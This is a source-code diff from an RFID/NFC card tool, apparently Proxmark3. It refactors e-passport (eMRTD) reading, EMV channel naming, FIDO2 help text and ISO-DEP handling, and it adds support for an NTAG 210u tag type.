static bool emrtd_dump_file(uint8_t *ks_enc, uint8_t *ks_mac, uint8_t *ssc, uint16_t file, const char *name, bool use_secure, const char *path) {
|
||||
uint8_t response[EMRTD_MAX_FILE_SIZE];
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
|
||||
if (emrtd_select_and_read(response, &resplen, file, ks_enc, ks_mac, ssc, use_secure, use_14b) == false) {
|
||||
if (emrtd_select_and_read(response, &resplen, file, ks_enc, ks_mac, ssc, use_secure) == false) {
|
||||
return false;
|
||||
}
|
||||
|
||||
|
@ -914,11 +863,11 @@ static void rng(int length, uint8_t *dataout) {
|
|||
memset(dataout, 0x00, length);
|
||||
}
|
||||
|
||||
static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac, bool use_14b) {
|
||||
static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac) {
|
||||
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
|
||||
uint8_t rnd_ic[8] = { 0x00 };
|
||||
uint8_t rnd_ic[10] = { 0x00 }; // 8 + SW
|
||||
uint8_t kenc[50] = { 0x00 };
|
||||
uint8_t kmac[50] = { 0x00 };
|
||||
uint8_t k_icc[16] = { 0x00 };
|
||||
|
@ -950,7 +899,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t
|
|||
PrintAndLogEx(DEBUG, "kmac.............. %s", sprint_hex_inrow(kmac, 16));
|
||||
|
||||
// Get Challenge
|
||||
if (emrtd_get_challenge(8, rnd_ic, &resplen, use_14b) == false) {
|
||||
if (emrtd_get_challenge(8, rnd_ic, sizeof(rnd_ic), &resplen) == false) {
|
||||
PrintAndLogEx(ERR, "Couldn't get challenge.");
|
||||
return false;
|
||||
}
|
||||
|
@ -978,7 +927,7 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t
|
|||
memcpy(cmd_data + 32, m_ifd, 8);
|
||||
|
||||
// Do external authentication
|
||||
if (emrtd_external_authenticate(cmd_data, sizeof(cmd_data), response, &resplen, use_14b) == false) {
|
||||
if (emrtd_external_authenticate(cmd_data, sizeof(cmd_data), response, sizeof(response), &resplen) == false) {
|
||||
PrintAndLogEx(ERR, "Couldn't do external authentication. Did you supply the correct MRZ info?");
|
||||
return false;
|
||||
}
|
||||
|
@ -1016,60 +965,32 @@ static bool emrtd_do_bac(char *documentnumber, char *dob, char *expiry, uint8_t
|
|||
return true;
|
||||
}
|
||||
|
||||
static bool emrtd_connect(bool *use_14b) {
|
||||
// Try to 14a
|
||||
SendCommandMIX(CMD_HF_ISO14443A_READER, ISO14A_CONNECT | ISO14A_NO_DISCONNECT, 0, 0, NULL, 0);
|
||||
PacketResponseNG resp;
|
||||
bool failed_14a = false;
|
||||
if (WaitForResponseTimeout(CMD_ACK, &resp, 2000) == false) {
|
||||
DropField();
|
||||
failed_14a = true;
|
||||
static bool emrtd_connect(void) {
|
||||
int res = Iso7816Connect(CC_CONTACTLESS);
|
||||
return res == PM3_SUCCESS;
|
||||
}
|
||||
|
||||
if (failed_14a || resp.oldarg[0] == 0) {
|
||||
PrintAndLogEx(INFO, "No eMRTD spotted with 14a, trying 14b");
|
||||
// If not 14a, try to 14b
|
||||
iso14b_raw_cmd_t packet = {
|
||||
.flags = (ISO14B_CONNECT | ISO14B_SELECT_STD),
|
||||
.timeout = 0,
|
||||
.rawlen = 0,
|
||||
};
|
||||
clearCommandBuffer();
|
||||
SendCommandNG(CMD_HF_ISO14443B_COMMAND, (uint8_t *)&packet, sizeof(iso14b_raw_cmd_t));
|
||||
if (WaitForResponseTimeout(CMD_HF_ISO14443B_COMMAND, &resp, 2000) == false) {
|
||||
PrintAndLogEx(INFO, "timeout, no eMRTD spotted with 14b, exiting");
|
||||
return false;
|
||||
}
|
||||
|
||||
if (resp.oldarg[0] != 0) {
|
||||
PrintAndLogEx(INFO, "No eMRTD spotted with 14b, exiting");
|
||||
return false;
|
||||
}
|
||||
*use_14b = true;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BAC_available, bool *BAC, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac, bool *use_14b) {
|
||||
static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BAC_available, bool *BAC, uint8_t *ssc, uint8_t *ks_enc, uint8_t *ks_mac) {
|
||||
|
||||
// Select MRTD applet
|
||||
if (emrtd_select_file(EMRTD_P1_SELECT_BY_NAME, EMRTD_AID_MRTD, *use_14b) == false) {
|
||||
uint8_t aid[] = EMRTD_AID_MRTD;
|
||||
if (emrtd_select_file_by_name(sizeof(aid), aid) == false) {
|
||||
PrintAndLogEx(ERR, "Couldn't select the MRTD application.");
|
||||
return false;
|
||||
}
|
||||
|
||||
// Select EF_COM
|
||||
if (emrtd_select_file(EMRTD_P1_SELECT_BY_EF, dg_table[EF_COM].fileid, *use_14b) == false) {
|
||||
if (emrtd_select_file_by_ef(dg_table[EF_COM].fileid) == false) {
|
||||
*BAC = true;
|
||||
PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication.");
|
||||
} else {
|
||||
*BAC = false;
|
||||
// Select EF_DG1
|
||||
emrtd_select_file(EMRTD_P1_SELECT_BY_EF, dg_table[EF_DG1].fileid, *use_14b);
|
||||
emrtd_select_file_by_ef(dg_table[EF_DG1].fileid);
|
||||
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
|
||||
if (emrtd_read_file(response, &resplen, NULL, NULL, NULL, false, *use_14b) == false) {
|
||||
if (emrtd_read_file(response, &resplen, NULL, NULL, NULL, false) == false) {
|
||||
*BAC = true;
|
||||
PrintAndLogEx(INFO, "Authentication is enforced. Will attempt external authentication.");
|
||||
} else {
|
||||
|
@ -1077,7 +998,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA
|
|||
}
|
||||
}
|
||||
|
||||
// Do Basic Access Aontrol
|
||||
// Do Basic Access Control
|
||||
if (*BAC) {
|
||||
// If BAC isn't available, exit out and warn user.
|
||||
if (!BAC_available) {
|
||||
|
@ -1086,7 +1007,7 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA
|
|||
return false;
|
||||
}
|
||||
|
||||
if (emrtd_do_bac(documentnumber, dob, expiry, ssc, ks_enc, ks_mac, *use_14b) == false) {
|
||||
if (emrtd_do_bac(documentnumber, dob, expiry, ssc, ks_enc, ks_mac) == false) {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
@ -1095,33 +1016,32 @@ static bool emrtd_do_auth(char *documentnumber, char *dob, char *expiry, bool BA
|
|||
|
||||
int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available, const char *path) {
|
||||
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
uint8_t ssc[8] = { 0x00 };
|
||||
uint8_t ks_enc[16] = { 0x00 };
|
||||
uint8_t ks_mac[16] = { 0x00 };
|
||||
bool BAC = false;
|
||||
bool use_14b = false;
|
||||
|
||||
// Select the eMRTD
|
||||
if (emrtd_connect(&use_14b) == false) {
|
||||
if (emrtd_connect() == false) {
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// Dump EF_CardAccess (if available)
|
||||
if (!emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, use_14b, path)) {
|
||||
if (!emrtd_dump_file(ks_enc, ks_mac, ssc, dg_table[EF_CardAccess].fileid, dg_table[EF_CardAccess].filename, BAC, path)) {
|
||||
PrintAndLogEx(INFO, "Couldn't dump EF_CardAccess, card does not support PACE.");
|
||||
PrintAndLogEx(HINT, "This is expected behavior for cards without PACE, and isn't something to be worried about.");
|
||||
}
|
||||
|
||||
// Authenticate with the eMRTD
|
||||
if (!emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac, &use_14b)) {
|
||||
if (!emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac)) {
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
|
||||
// Select EF_COM
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) {
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC)) {
|
||||
PrintAndLogEx(ERR, "Failed to read EF_COM.");
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
|
@ -1162,7 +1082,7 @@ int dumpHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
|
|||
}
|
||||
PrintAndLogEx(DEBUG, "Current file: %s", dg->filename);
|
||||
if (!dg->pace && !dg->eac) {
|
||||
emrtd_dump_file(ks_enc, ks_mac, ssc, dg->fileid, dg->filename, BAC, use_14b, path);
|
||||
emrtd_dump_file(ks_enc, ks_mac, ssc, dg->fileid, dg->filename, BAC, path);
|
||||
}
|
||||
}
|
||||
DropField();
|
||||
|
@ -1869,32 +1789,32 @@ static int emrtd_print_ef_cardaccess_info(uint8_t *data, size_t datalen) {
|
|||
|
||||
int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_available) {
|
||||
uint8_t response[EMRTD_MAX_FILE_SIZE] = { 0x00 };
|
||||
int resplen = 0;
|
||||
size_t resplen = 0;
|
||||
uint8_t ssc[8] = { 0x00 };
|
||||
uint8_t ks_enc[16] = { 0x00 };
|
||||
uint8_t ks_mac[16] = { 0x00 };
|
||||
bool BAC = false;
|
||||
bool PACE_available = true;
|
||||
bool use_14b = false;
|
||||
|
||||
// Select the eMRTD
|
||||
if (!emrtd_connect(&use_14b)) {
|
||||
if (emrtd_connect() == false) {
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
bool use14b = GetISODEPState() == ISODEP_NFCB;
|
||||
|
||||
// Read EF_CardAccess
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) {
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_CardAccess].fileid, ks_enc, ks_mac, ssc, BAC)) {
|
||||
PACE_available = false;
|
||||
PrintAndLogEx(HINT, "The error above this is normal. It just means that your eMRTD lacks PACE.");
|
||||
}
|
||||
|
||||
// Select and authenticate with the eMRTD
|
||||
bool auth_result = emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac, &use_14b);
|
||||
bool auth_result = emrtd_do_auth(documentnumber, dob, expiry, BAC_available, &BAC, ssc, ks_enc, ks_mac);
|
||||
|
||||
PrintAndLogEx(NORMAL, "");
|
||||
PrintAndLogEx(INFO, "------------------ " _CYAN_("Basic Info") " ------------------");
|
||||
PrintAndLogEx(SUCCESS, "Communication standard: %s", use_14b ? _YELLOW_("ISO/IEC 14443(B)") : _YELLOW_("ISO/IEC 14443(A)"));
|
||||
PrintAndLogEx(SUCCESS, "Communication standard: %s", use14b ? _YELLOW_("ISO/IEC 14443(B)") : _YELLOW_("ISO/IEC 14443(A)"));
|
||||
PrintAndLogEx(SUCCESS, "Authentication........: %s", BAC ? _GREEN_("Enforced") : _RED_("Not enforced"));
|
||||
PrintAndLogEx(SUCCESS, "PACE..................: %s", PACE_available ? _GREEN_("Available") : _YELLOW_("Not available"));
|
||||
PrintAndLogEx(SUCCESS, "Authentication result.: %s", auth_result ? _GREEN_("Successful") : _RED_("Failed"));
|
||||
|
@ -1909,7 +1829,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
|
|||
}
|
||||
|
||||
// Read EF_COM to get file list
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) {
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_COM].fileid, ks_enc, ks_mac, ssc, BAC)) {
|
||||
PrintAndLogEx(ERR, "Failed to read EF_COM.");
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
|
@ -1935,7 +1855,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
|
|||
uint8_t dg_hashes_calc[17][64] = { { 0 } };
|
||||
int hash_algo = 0;
|
||||
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_SOD].fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) {
|
||||
if (!emrtd_select_and_read(response, &resplen, dg_table[EF_SOD].fileid, ks_enc, ks_mac, ssc, BAC)) {
|
||||
PrintAndLogEx(ERR, "Failed to read EF_SOD.");
|
||||
DropField();
|
||||
return PM3_ESOFT;
|
||||
|
@ -1954,7 +1874,7 @@ int infoHF_EMRTD(char *documentnumber, char *dob, char *expiry, bool BAC_availab
|
|||
continue;
|
||||
}
|
||||
if (dg->fastdump && !dg->pace && !dg->eac) {
|
||||
if (emrtd_select_and_read(response, &resplen, dg->fileid, ks_enc, ks_mac, ssc, BAC, use_14b)) {
|
||||
if (emrtd_select_and_read(response, &resplen, dg->fileid, ks_enc, ks_mac, ssc, BAC)) {
|
||||
if (dg->parser != NULL)
|
||||
dg->parser(response, resplen);
|
||||
|
||||
|
@ -2186,7 +2106,13 @@ static int CmdHFeMRTDDump(const char *Cmd) {
|
|||
if (error) {
|
||||
return PM3_ESOFT;
|
||||
}
|
||||
return dumpHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC, (const char *)path);
|
||||
bool restore_apdu_logging = GetAPDULogging();
|
||||
if (g_debugMode >= 2) {
|
||||
SetAPDULogging(true);
|
||||
}
|
||||
int res = dumpHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC, (const char *)path);
|
||||
SetAPDULogging(restore_apdu_logging);
|
||||
return res;
|
||||
}
|
||||
|
||||
static int CmdHFeMRTDInfo(const char *Cmd) {
|
||||
|
@ -2276,7 +2202,13 @@ static int CmdHFeMRTDInfo(const char *Cmd) {
|
|||
if (offline) {
|
||||
return infoHF_EMRTD_offline((const char *)path);
|
||||
} else {
|
||||
return infoHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC);
|
||||
bool restore_apdu_logging = GetAPDULogging();
|
||||
if (g_debugMode >= 2) {
|
||||
SetAPDULogging(true);
|
||||
}
|
||||
int res = infoHF_EMRTD((char *)docnum, (char *)dob, (char *)expiry, BAC);
|
||||
SetAPDULogging(restore_apdu_logging);
|
||||
return res;
|
||||
}
|
||||
}
|
||||
|
||||
|
|
|
@ -16,7 +16,7 @@
|
|||
typedef struct emrtd_dg_s {
|
||||
uint8_t tag;
|
||||
uint8_t dgnum;
|
||||
const char *fileid;
|
||||
uint16_t fileid;
|
||||
const char *filename;
|
||||
const char *desc;
|
||||
bool pace;
|
||||
|
|
|
@ -24,7 +24,7 @@
|
|||
#include "commonutil.h"
|
||||
#include "comms.h"
|
||||
#include "proxmark3.h"
|
||||
#include "emv/emvcore.h"
|
||||
#include "iso7816/iso7816core.h"
|
||||
#include "emv/emvjson.h"
|
||||
#include "cliparser.h"
|
||||
#include "crypto/asn1utils.h"
|
||||
|
@ -38,7 +38,7 @@
|
|||
#include "fileutils.h" // laodFileJSONroot
|
||||
|
||||
#define DEF_FIDO_SIZE 2048
|
||||
#define DEF_FIDO_PARAM_FILE "fido2_defparams.json"
|
||||
#define DEF_FIDO_PARAM_FILE "hf_fido2_defparams.json"
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
|
@ -654,7 +654,9 @@ static int CmdHFFido2MakeCredential(const char *cmd) {
|
|||
CLIParserContext *ctx;
|
||||
CLIParserInit(&ctx, "hf fido make",
|
||||
"Execute a FIDO2 Make Credential command. Needs json file with parameters.\n"
|
||||
"Sample file `fido2_defparams.json` in `client/resources/`.",
|
||||
"Sample file `fido2_defparams.json` in `client/resources/`.\n"
|
||||
"- for yubikey there must be only one option `\"rk\": true` or false"
|
||||
,
|
||||
"hf fido make --> use default parameters file `fido2_defparams.json`\n"
|
||||
"hf fido make -f test.json --> use parameters file `text.json`"
|
||||
);
|
||||
|
@ -772,7 +774,8 @@ static int CmdHFFido2GetAssertion(const char *cmd) {
|
|||
CLIParserInit(&ctx, "hf fido assert",
|
||||
"Execute a FIDO2 Get Assertion command. Needs json file with parameters.\n"
|
||||
"Sample file `fido2_defparams.json` in `client/resources/`.\n"
|
||||
"- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)"
|
||||
"- Needs if `rk` option is `false` (authenticator doesn't store credential to its memory)\n"
|
||||
"- for yubikey there must be only one option `\"up\": true` or false"
|
||||
,
|
||||
"hf fido assert --> default parameters file `fido2_defparams.json`\n"
|
||||
"hf fido assert -f test.json -l --> use parameters file `text.json` and add to request CredentialId");
|
||||
|
|
|
@ -94,6 +94,7 @@ static const char *get_page_name(uint16_t pageid) {
|
|||
static int CmdHelp(const char *Cmd);
|
||||
|
||||
static void lto_switch_off_field(void) {
|
||||
SetISODEPState(ISODEP_INACTIVE);
|
||||
SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0);
|
||||
}
|
||||
|
||||
|
|
|
@ -24,8 +24,8 @@
|
|||
#include "protocols.h"
|
||||
#include "cmdtrace.h"
|
||||
#include "cliparser.h"
|
||||
#include "emv/apduinfo.h" // APDU manipulation / errorcodes
|
||||
#include "emv/emvcore.h" // APDU logging
|
||||
#include "iso7816/apduinfo.h" // APDU manipulation / errorcodes
|
||||
#include "iso7816/iso7816core.h" // APDU logging
|
||||
#include "util_posix.h" // msleep
|
||||
#include "mifare/desfire_crypto.h"
|
||||
#include "crapto1/crapto1.h"
|
||||
|
@ -3613,7 +3613,7 @@ static int CmdHF14ADesInfo(const char *Cmd) {
|
|||
|
||||
|
||||
iso14a_card_select_t card;
|
||||
res = SelectCard14443_4(true, &card);
|
||||
res = SelectCard14443A_4(true, &card);
|
||||
if (res == PM3_SUCCESS) {
|
||||
static const char STANDALONE_DESFIRE[] = { 0x75, 0x77, 0x81, 0x02};
|
||||
static const char JCOP_DESFIRE[] = { 0x75, 0xf7, 0xb1, 0x02 };
|
||||
|
|
|
@ -64,7 +64,7 @@ uint32_t UL_TYPES_ARRAY[] = {
|
|||
NTAG_203, NTAG_210, NTAG_212, NTAG_213, NTAG_215, NTAG_216,
|
||||
MY_D, MY_D_NFC, MY_D_MOVE, MY_D_MOVE_NFC, MY_D_MOVE_LEAN, FUDAN_UL,
|
||||
UL_EV1, NTAG_213_F, NTAG_216_F, UL_NANO_40, NTAG_I2C_1K, NTAG_213_TT,
|
||||
NTAG_213_C
|
||||
NTAG_213_C, NTAG_210u
|
||||
};
|
||||
|
||||
uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = {
|
||||
|
@ -72,7 +72,7 @@ uint8_t UL_MEMORY_ARRAY[ARRAYLEN(UL_TYPES_ARRAY)] = {
|
|||
MAX_NTAG_203, MAX_NTAG_210, MAX_NTAG_212, MAX_NTAG_213, MAX_NTAG_215, MAX_NTAG_216,
|
||||
MAX_UL_BLOCKS, MAX_MY_D_NFC, MAX_MY_D_MOVE, MAX_MY_D_MOVE, MAX_MY_D_MOVE_LEAN, MAX_UL_BLOCKS,
|
||||
MAX_ULEV1a_BLOCKS, MAX_NTAG_213, MAX_NTAG_216, MAX_UL_NANO_40, MAX_NTAG_I2C_1K, MAX_NTAG_213,
|
||||
MAX_NTAG_213
|
||||
MAX_NTAG_213, MAX_NTAG_210
|
||||
};
|
||||
|
||||
//------------------------------------
|
||||
|
@ -525,6 +525,8 @@ int ul_print_type(uint32_t tagtype, uint8_t spaces) {
|
|||
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG UNKNOWN"), spaces, "");
|
||||
else if (tagtype & NTAG_203)
|
||||
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 203 144bytes (NT2H0301F0DT)"), spaces, "");
|
||||
else if (tagtype & NTAG_210u)
|
||||
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210u (micro) 48bytes (NT2L1001G0DU)"), spaces, "");
|
||||
else if (tagtype & NTAG_210)
|
||||
snprintf(typestr, sizeof(typestr), "%*sTYPE: " _YELLOW_("NTAG 210 48bytes (NT2L1011G0DU)"), spaces, "");
|
||||
else if (tagtype & NTAG_212)
|
||||
|
@ -1276,6 +1278,7 @@ uint32_t GetHF14AMfU_Type(void) {
|
|||
else if (memcmp(version, "\x00\x04\x03\x02\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; }
|
||||
else if (memcmp(version, "\x00\x34\x21\x01\x01\x00\x0E", 7) == 0) { tagtype = UL_EV1_128; break; } // Mikron JSC Russia EV1 41 pages tag
|
||||
else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0B", 7) == 0) { tagtype = NTAG_210; break; }
|
||||
else if (memcmp(version, "\x00\x04\x04\x01\x02\x00\x0B", 7) == 0) { tagtype = NTAG_210u; break; }
|
||||
else if (memcmp(version, "\x00\x04\x04\x01\x01\x00\x0E", 7) == 0) { tagtype = NTAG_212; break; }
|
||||
else if (memcmp(version, "\x00\x04\x04\x02\x01\x00\x0F", 7) == 0) { tagtype = NTAG_213; break; }
|
||||
else if (memcmp(version, "\x00\x04\x04\x02\x01\x01\x0F", 7) == 0) { tagtype = NTAG_213_C; break; }
|
||||
|
@ -1520,7 +1523,7 @@ static int CmdHF14AMfUInfo(const char *Cmd) {
|
|||
}
|
||||
|
||||
// Read signature
|
||||
if ((tagtype & (UL_EV1_48 | UL_EV1_128 | UL_EV1 | UL_NANO_40 | NTAG_213 | NTAG_213_F | NTAG_213_C | NTAG_213_TT | NTAG_215 | NTAG_216 | NTAG_216_F | NTAG_I2C_1K | NTAG_I2C_2K | NTAG_I2C_1K_PLUS | NTAG_I2C_2K_PLUS))) {
|
||||
if ((tagtype & (UL_EV1_48 | UL_EV1_128 | UL_EV1 | UL_NANO_40 | NTAG_210u | NTAG_213 | NTAG_213_F | NTAG_213_C | NTAG_213_TT | NTAG_215 | NTAG_216 | NTAG_216_F | NTAG_I2C_1K | NTAG_I2C_2K | NTAG_I2C_1K_PLUS | NTAG_I2C_2K_PLUS))) {
|
||||
uint8_t ulev1_signature[32] = {0x00};
|
||||
status = ulev1_readSignature(ulev1_signature, sizeof(ulev1_signature));
|
||||
if (status == -1) {
|
||||
|
|
|
@ -64,6 +64,7 @@ typedef enum TAGTYPE_UL {
|
|||
MAGIC_1A = 0x10000000 | MAGIC,
|
||||
MAGIC_1B = 0x20000000 | MAGIC,
|
||||
MAGIC_NTAG = 0x40000000 | MAGIC,
|
||||
NTAG_210u = 0x80000000,
|
||||
UL_MAGIC = UL | MAGIC,
|
||||
UL_C_MAGIC = UL_C | MAGIC,
|
||||
UL_ERROR = 0xFFFFFF,
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
#include "ui.h"
|
||||
#include "cmdhf14a.h" // manufacture
|
||||
#include "protocols.h" // definitions of ISO14A/7816 protocol
|
||||
#include "emv/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "iso7816/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "crypto/asn1utils.h" // ASN1 decode / print
|
||||
|
||||
static int CmdHelp(const char *Cmd);
|
||||
|
|
|
@ -19,7 +19,7 @@
|
|||
#include "crc16.h"
|
||||
#include "cmdhf14a.h"
|
||||
#include "protocols.h" // definitions of ISO14A/7816 protocol
|
||||
#include "emv/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "iso7816/apduinfo.h" // GetAPDUCodeDescription
|
||||
#include "nfc/ndef.h" // NDEFRecordsDecodeAndPrint
|
||||
#include "cmdnfc.h" // print_type4_cc_info
|
||||
|
||||
|
|
|
@ -49,6 +49,7 @@ static void topaz_switch_on_field(void) {
|
|||
}
|
||||
|
||||
static void topaz_switch_off_field(void) {
|
||||
SetISODEPState(ISODEP_INACTIVE);
|
||||
SendCommandMIX(CMD_HF_ISO14443A_READER, 0, 0, 0, NULL, 0);
|
||||
}
|
||||
|
||||
|
|
|
@ -15,18 +15,19 @@
|
|||
#include "common.h"
|
||||
#include "pm3_cmd.h" // Packet structs
|
||||
#include "util.h" // FILE_PATH_SIZE
|
||||
#include "iso7816/iso7816core.h" // SetISODEPState
|
||||
|
||||
#ifdef __cplusplus
|
||||
extern "C" {
|
||||
#endif
|
||||
|
||||
#ifndef DropField
|
||||
#define DropField() { clearCommandBuffer(); SendCommandNG(CMD_HF_DROPFIELD, NULL, 0); }
|
||||
#define DropField() { clearCommandBuffer(); SetISODEPState(ISODEP_INACTIVE); SendCommandNG(CMD_HF_DROPFIELD, NULL, 0); }
|
||||
#endif
|
||||
|
||||
#ifndef DropFieldEx
|
||||
#define DropFieldEx(x) { \
|
||||
if ( (x) == ECC_CONTACTLESS) { \
|
||||
if ( (x) == CC_CONTACTLESS) { \
|
||||
DropField(); \
|
||||
} \
|
||||
}
|
||||
|
|
|
@ -56,12 +56,12 @@ static void ParamLoadDefaults(struct tlvdb *tlvRoot) {
|
|||
TLV_ADD(0x9F4E, "proxmrk3rdv\x00");
|
||||
}
|
||||
|
||||
static void PrintChannel(EMVCommandChannel channel) {
|
||||
static void PrintChannel(Iso7816CommandChannel channel) {
|
||||
switch (channel) {
|
||||
case ECC_CONTACTLESS:
|
||||
case CC_CONTACTLESS:
|
||||
PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACTLESS (T=CL)"));
|
||||
break;
|
||||
case ECC_CONTACT:
|
||||
case CC_CONTACT:
|
||||
PrintAndLogEx(INFO, "Selected channel... " _GREEN_("CONTACT"));
|
||||
break;
|
||||
}
|
||||
|
@ -93,9 +93,9 @@ static int CmdEMVSelect(const char *Cmd) {
|
|||
bool leaveSignalON = arg_get_lit(ctx, 2);
|
||||
bool APDULogging = arg_get_lit(ctx, 3);
|
||||
bool decodeTLV = arg_get_lit(ctx, 4);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 5))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIGetHexWithReturn(ctx, 6, data, &datalen);
|
||||
CLIParserFree(ctx);
|
||||
|
@ -143,9 +143,9 @@ static int CmdEMVSearch(const char *Cmd) {
|
|||
bool leaveSignalON = arg_get_lit(ctx, 2);
|
||||
bool APDULogging = arg_get_lit(ctx, 3);
|
||||
bool decodeTLV = arg_get_lit(ctx, 4);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 5))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
|
@ -201,9 +201,9 @@ static int CmdEMVPPSE(const char *Cmd) {
|
|||
PSENum = 2;
|
||||
bool APDULogging = arg_get_lit(ctx, 5);
|
||||
bool decodeTLV = arg_get_lit(ctx, 6);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 7))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIParserFree(ctx);
|
||||
|
||||
|
@ -257,9 +257,9 @@ static int CmdEMVGPO(const char *Cmd) {
|
|||
bool dataMakeFromPDOL = arg_get_lit(ctx, 3);
|
||||
bool APDULogging = arg_get_lit(ctx, 4);
|
||||
bool decodeTLV = arg_get_lit(ctx, 5);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 6))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIGetHexWithReturn(ctx, 7, data, &datalen);
|
||||
CLIParserFree(ctx);
|
||||
|
@ -362,9 +362,9 @@ static int CmdEMVReadRecord(const char *Cmd) {
|
|||
bool leaveSignalON = arg_get_lit(ctx, 1);
|
||||
bool APDULogging = arg_get_lit(ctx, 2);
|
||||
bool decodeTLV = arg_get_lit(ctx, 3);
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 4))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
PrintChannel(channel);
|
||||
CLIGetHexWithReturn(ctx, 5, data, &datalen);
|
||||
CLIParserFree(ctx);
|
||||
|
@ -449,9 +449,9 @@ static int CmdEMVAC(const char *Cmd) {
|
|||
bool APDULogging = arg_get_lit(ctx, 6);
|
||||
bool decodeTLV = arg_get_lit(ctx, 7);
|
||||
|
||||
EMVCommandChannel channel = ECC_CONTACTLESS;
|
||||
Iso7816CommandChannel channel = CC_CONTACTLESS;
|
||||
if (arg_get_lit(ctx, 8))
|
||||
channel = ECC_CONTACT;
|
||||
channel = CC_CONTACT;
|
||||
|
||||
PrintChannel(channel);
|
||||
